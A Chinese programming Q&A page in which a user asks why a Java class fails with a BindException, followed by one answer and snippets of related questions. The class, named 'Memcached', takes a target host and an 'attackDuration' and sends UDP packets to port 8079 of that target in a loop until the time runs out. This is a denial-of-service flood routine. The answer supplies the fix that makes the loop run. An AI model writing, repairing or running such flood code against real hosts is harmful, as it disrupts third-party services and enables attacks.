当前位置: 首页 > 知识库问答 >
问题:

java.net.Bind异常: 绑定失败: EADDRNOTAVAIL (无法分配请求的地址)

楚知
2023-03-14

当运行以下代码时,我在socket=new DatagramSocket(8079,ip)行中得到一个异常java.net。绑定异常:绑定失败:EADDRNOTAVAIL(无法分配请求的地址)。我不知道为什么会这样。代码如下:

public Memcached(String target, int serverPort, int attackDuration) throws MalformedURLException {
        targetURL = new URL("http://" + target);
        this.serverPort = serverPort;
        this.attackDuration = attackDuration * 1000;
    }
    @Override
    public void run() {
        long startTime = System.currentTimeMillis();
        try {
            ip = InetAddress.getByName(targetURL.toExternalForm().replace("http://", ""));
            Log.d("tag1", ip.toString());
        }
        catch(UnknownHostException uhe) {
            System.out.println("Unknown host");
            ipAddressAbleToBeFound = false;
        }
        if (ipAddressAbleToBeFound) {
            try {
                socket = new DatagramSocket(8079, ip);
            }
            catch(SocketException se) {
                System.out.println("Unable to send request, is it down already??");
                se.printStackTrace();
                socketAbleToBeCreated = false;
            }
            if (socketAbleToBeCreated) {
                while(System.currentTimeMillis() < startTime + attackDuration) {
                    byte[] buffer = {10,23,12,31,43,32,24};

                    DatagramPacket packet = new DatagramPacket(buffer, buffer.length, ip, 8079);
                    try {
                        socket.send(packet);
                    }
                    catch(IOException ioe) {
                        System.out.println("I/O error occurred");
                    }
                }
            }
        }
    }
}

谢谢!

共有1个答案

殷永嘉
2023-03-14

我想我通过做套接字=新的数据语法索克(); 而不是套接字=新的数据语法索克(8079,ip);来解决这个问题。看起来您不需要在数据报中指定端口和 Inet 地址,只需在数据报包中执行此操作即可。

 类似资料:
  • 我正在尝试编写一个C程序来侦听我机器上的端口。我遇到了一个奇怪的错误。 每当我尝试将套接字绑定到固定IP(或我的实际IP)时,我都会收到错误。但是,当我作为要绑定到的地址传递给绑定时,它的工作原理。 这些是我仅有的两个IP,因此0.0.0.0不能因为我可用的其他IP地址而起作用。 代码如下:

  • > 我已经用以下接口配置了Ubuntu Linux系统&分配的IPV6地址如下: eth2:链路封装:以太网HWaddr 00:50:56:8D:56:14 inet ADDR:192.168.2.10BCAST:0.0.0掩码:255.255.255.0 inet6 ADDR:FC00:1234:2::10/120作用域:全局 inet6 ADDR:FE80::250:56FF:FE8D:561

  • 无法解决此错误,我首先尝试更改关闭端口,但它不起作用,然后我更改了连接器端口,但仍然不起作用。

  • 问题内容: 我在172.16.1.218上运行以下node.js服务器: 我可以远程登录到它,它会按预期的方式回显。 我有以下运行在172.16.1.224上的node.js服务器: 但是,当我尝试运行它时,出现以下错误: 我已关闭所有防火墙等。对于此错误,我一无所知。希望有人能提供帮助。 提前谢谢了, 问题答案: 开启时,您无法监听,因为那不是您正在监听的计算机的IP。 如果要在该计算机上收听,

  • 我想发送和接收数据报套接字,但遇到了异常。我传递了要通信的服务器的正确IP地址和正确的端口号。 请帮帮我。

  • 问题内容: 我想在我的应用程序中使用低端口(Spring Web上的SNMP陷阱接收器+ Tomcat7)。正如我之前在此线程将低端口绑定到Ubuntu Server上的Java程序中所告诉的那样,我收到了错误权限被拒绝。然后,我将tomcat7用户组更改为root。但是之后,我得到了java.net.BindException:无法分配请求的地址错误。对于我尝试的每个端口(低端口或高端口),我总